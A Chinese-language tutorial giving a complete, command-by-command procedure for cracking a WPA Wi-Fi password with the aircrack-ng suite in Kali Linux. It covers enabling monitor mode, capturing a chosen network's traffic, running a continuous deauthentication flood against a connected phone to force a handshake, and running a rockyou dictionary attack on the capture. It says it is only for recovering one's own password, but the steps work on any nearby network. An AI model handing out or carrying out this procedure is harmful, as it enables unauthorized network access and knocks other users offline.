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<>此方法是查看自己的wifi密码,仅经技术学习
前期准备 VMware Workstation虚拟机
在虚拟机安装好kail linunx系统
无线网卡(芯片为3070或者1887L都支持Linux)
<>一.打开终端,用airmon-ng命令查看
如果出现无法访问…没有那个文件或目录
解决办法:先在window主机上按win+r键然后输入services.msc
回车
找到VMware USB Arbitration Service,双击
1.启动类型改为自动 …2.启动服务状态 …3.确定
<>二.打开虚拟机的设置,改成跟下图中2一样(如果为灰色无法更改,则需要关闭kail系统后再改)
将usb无线网卡插在电脑上,(注意:网卡芯片为3070或者8187L,买的时候要注意)
点击 虚拟机 -> 可移动设备 -> 选择那个有WLAN的 -> 连接
<>三.命令ifconfig查看网卡信息,有wlan0表示连接成功
<>四.命令airmon-ng start wlan0开启网卡监听模式
<>五.输入iwconfig命令查看网卡信息, wlan0mon网卡名加了mon则表示成功
<>六.命令airodump-ng wlan0mon,开始扫描WiFi,按ctrl+c结束任务
BSSID为wifi的MAC地址,PWR为信号强弱程度,数值越小信号越强;#DATA为数据量,越大使用的人就越多,CH为信道频率(频道),ESSID为wifi的名称,中文可能会有乱码
<>七,接着输入airodump-ng --bssid BSSID -c 信道频率 -w 抓包存储的路径 wlan0mon
<>如:airodump-ng --bssid BC:5F:6F:3D:03:74 -c 13 -w /home wlan0mon
数据包已经正在抓取
如果抓取不到数据,新建一个终端:键入airepaly-ng -0 0 -c 连接到WiFi的手机mac地址 -a bssid
网卡名(一般为wlan0mon)
<>如:aireplay-ng -0 0 -c B8:37:65:94:5D:13 -a BC:5F:6F:3D:03:74 wlan0mon
<>出现WPA handshake时,表示抓包成功
<>两个终端都按Ctrl+c停止,不然那边会一直断网的
cd打开抓包的目录,ls列出来,就看到我们抓到的数据包
<>八.解压kali自带的字典文件 路径:/usr/share/wordlists/rockyou.txt.gz
<>如 :gzip -d/usr/share/wordlists/rockyou.txt.gz
<>九.键入 aircrack-ng -w 字典路径 握手包路径,回车后开始循环
<>如:aircrack-ng -w /usr/share/wordlists/rockyou.txt /home/wifi-0.1.cap
耐心等待就可以查看自己设置的密码…